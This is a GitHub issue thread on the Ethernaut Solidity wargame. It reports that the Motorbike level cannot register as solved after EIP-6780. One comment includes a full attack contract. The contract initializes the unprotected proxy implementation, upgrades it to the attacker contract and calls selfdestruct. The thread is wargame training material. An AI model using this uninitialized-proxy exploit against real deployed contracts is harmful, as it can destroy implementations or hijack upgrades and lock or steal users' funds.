OpenZeppelin / ethernaut

Web3/Solidity based wargame
MIT License
2k stars 684 forks source link

Motorbike will never be marked as solved in the UI #741

Open nicolasriverocorvalan opened 5 months ago

nicolasriverocorvalan commented 5 months ago

Due to EIP-6780, the SELFDESTRUCT opcode can only be executed within the same transaction as the contract creation. As a result, will never show the "resolved" check mark in the UI (https://ethernaut.openzeppelin.com/) under the current validation system. The user must create the level instance and destroy the contract without using the "get new instance" button.

Here is an example resolution with an explanation: https://github.com/nicolasriverocorvalan/ethernaut-with-foundry/tree/main/25-Motorbike.

0xsimulacra commented 4 months ago

I totaly agree with this point.

As a workaround for EIP-6780, and from my understanding, we can intialize the Engine implementation with some Eth in it (like 0.001 eth), and we can kind of check for a correct selfdestrcut call by checking the balance the Engine on submit instance, as it should be 0 with the selfdesctruct() not called in the same transaction that created the contract.

Would you like me to make a PR with this proposed change ?

I believe this self-containing solution for the Motobike should pass if not due to EIP-6780:

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract MotorbikeAttackAhh {

    constructor() public payable {}

    function destroy() public payable {
        selfdestruct(payable(msg.sender));
    }

    // oldImplementation: which is the current implementation of the Engine in Morobike
    // Can be got by running the following code in the console:
    // oldImplementation = await web3.eth.getStorageAt(instance, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc");
    function setImplementation(address oldImplementation) public payable {
        bool success;
        bytes memory data;
        // intilizing the contract;
        (success, data) = oldImplementation.call(
            abi.encodeWithSignature("initialize()")
        );
        require(success && data.length == 0, "initilize");
        // replacing the implementation with this contract and calling destroy
        bytes memory toBeCalledData = abi.encodeWithSignature("destroy()");
        (success, data) = oldImplementation.call(
            abi.encodeWithSignature(
                "upgradeToAndCall(address,bytes)",
                address(this),
                toBeCalledData
            )
        );
        require(success && data.length == 0, "upgradeToAndCall");
        // sending back all the funds gotten from contract to the caller
        selfdestruct(payable(msg.sender));
    }
}
0xsimulacra commented 3 months ago

Nevermind, I just found out the issue was already discussed here and here.

nicolasriverocorvalan commented 3 months ago

This thread does not discuss how to solve the exercise since it already has a solution.

The purpose of this issue is to inform the OpenZeppelin team that the UI (the main dashboard marks exercises as solved by adding a ✓ to them) does not mark this particular exercise as solved, even if it is.

0xsimulacra commented 3 months ago

To solve the exercise, the contract need to "destructed", meaning the code at that contract address will be 0x. Disgarding any EIPs, if you succeed to do that, the exercise will be marked as solved in the UI, if not, it will not be marked as solved even if you succefully call "selfdestruct".

You'll find a way to mark the exercise as solved, if you will, if you read the discussions I pointed to and you'll find also OpenZeppelin stance on the problem.